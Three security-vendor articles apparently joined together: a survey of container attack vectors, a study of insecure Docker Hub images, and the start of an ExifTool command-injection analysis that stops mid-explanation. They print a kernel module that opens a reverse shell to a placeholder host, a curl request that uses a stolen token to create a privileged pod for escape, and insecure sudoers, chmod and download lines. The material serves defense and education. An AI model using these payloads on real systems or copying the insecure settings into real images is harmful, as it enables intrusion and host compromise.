Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

Introduction

Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.

Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.

At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.

In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.

To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.

As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.

Software vulnerabilities and compromise of update sources

One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.

To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.

An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.

Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.

In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.

To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.

It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.

However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.

This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.

Configuration vulnerabilities

Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.

The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.

Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.

Insecure handling of credentials

Use of default passwords

In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.

RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd

According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.

Passwords may be present in environment variables. Consider the following Dockerfile snippet:

ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start

In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.

Let’s look at another image:

/bin/sh -c #(nop)  ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin       MOODLE_ADMIN_PASSWORD [removed]      MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST     MOODLE_DB_PASSWORD       MOODLE_DB_USER     MOODLE_DB_NAME    MOODLE_DB_PORT 3306

For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.

To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.

Passing passwords via command arguments

In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:

/bin/sh -c #(nop)  HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}

In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.

To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.

Privilege escalation in the container

One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.

The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.

Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.

Attacks on sudo

One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:

/bin/sh -c set -xe;     apt-get update &&       apt-get -y install sudo;       echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;

Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.

echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers

In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.

As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.

Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.

perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers

The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.

To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.

Insecure file permissions

Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.

Consider the following command:

chmod 0777 /usr/share/cargo /usr/share/cargo/bin

The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.

To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.

Lack of integrity checks

Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.

For example, this risk may arise when downloading a distribution via HTTP:

RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream

Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.

To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.

There will still be a MitM risk even if certificate verification is disabled:

wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip

The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.

To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.

Conclusion

Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.

Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.

To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.

This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.

Introduction

ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.

This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.

Technical details

Disclaimer

Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.

Tracing the vulnerable sink

Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.

Finding an unsanitized date value

The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).

In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.

This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.

